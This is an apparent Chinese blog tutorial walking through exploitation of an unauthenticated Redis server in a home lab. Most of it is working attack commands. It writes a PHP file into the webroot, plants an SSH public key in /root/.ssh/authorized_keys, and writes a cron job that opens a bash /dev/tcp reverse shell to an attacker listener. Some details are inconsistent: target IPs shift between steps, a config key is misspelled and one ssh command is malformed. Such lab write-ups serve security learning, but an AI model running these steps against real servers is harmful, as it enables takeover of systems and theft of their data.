Redis未授权访问漏洞利用总结

前言:

什么是Redis未授权访问?
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

  • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞危害:

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
  • 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

环境搭建:

  • 攻击机:kali 192.168.142.128
  • 被攻击机:ubuntu 192.168.142.134

第一步:ubuntu中下载安装Redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz

在这里插入图片描述
第二步:下载好以后,解压Redis安装包,进入到Redis目录中
在这里插入图片描述
第三步:进入目录后,通过make编译的方式来安装(通过make编译安装需要gcc环境)如下提示“It’s a good idea to run ‘make test’ ”代表编译安装成功。
在这里插入图片描述在这里插入图片描述

第四步:make结束后,进入src目录:cd src,
将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
在这里插入图片描述
第五步:返回redis-2.8.17目录,将redis.conf拷贝到/etc/目录下。
在这里插入图片描述
第六步:使用/etc/目录下的reids.conf文件中的配置启动redis服务:

在这里插入图片描述第七步:此时被攻击机的Redis服务已经启动了,作为攻击机的kali系统,按照以上的步骤同样安装Redis(作为客户端)

漏洞复现:

使用redis客户端直接无账号成功登录redis(未授权访问)

redis-cli -h 192.168.142.134

在这里插入图片描述

0x01利用redis写webshell:

条件:

  • 靶机redis连接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
  • 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
  • 我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件

操作步骤:

config set dir /var/www/html/ 
config set  dbfilname info.php 
set x "<?php phpinfo();?>" 
save

在这里插入图片描述
这里需要注意的是第三步写webshell的时候,可以使用:

set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行,查看/var/www/html/目录下的info.php文件内容。
在这里插入图片描述

0x02写入ssh公钥,获取操作系统权限

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

第一步:在自己电脑上生成ssh公钥key:

ssh-keygen -t rsa

在这里插入图片描述

第二步:将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | ./redis-cli -h 192.168.142.135 -x set xxx

在这里插入图片描述
第三步:使用攻击机连接目标机器Redis

redis-cli -h 192.168.142.135

在这里插入图片描述
第四步:设置redis的备份路径为/root/.ssh/和保存文件名authorized_keys

config set dir /root/.ssh
config set dbfilename authorized_keys

在这里插入图片描述
第五步:将数据保存在目标服务器硬盘上

save

第六步:使用攻击机ssh连接目标机

ssh -h 192.168.142.135

在这里插入图片描述

0x03在crontab里写定时任务,反弹shell:

原理和写公钥一样的,只是变换了一下写入的内容和数据,数据库名。

第一步:在公网服务器中使用nc监听

nc -lvp 4444

第二步:连接Redis,写入反弹shell

./redis-cli -h 192.168.142.153
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

第三步:过一分钟以后,在公网的nc中会反弹shell回来。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值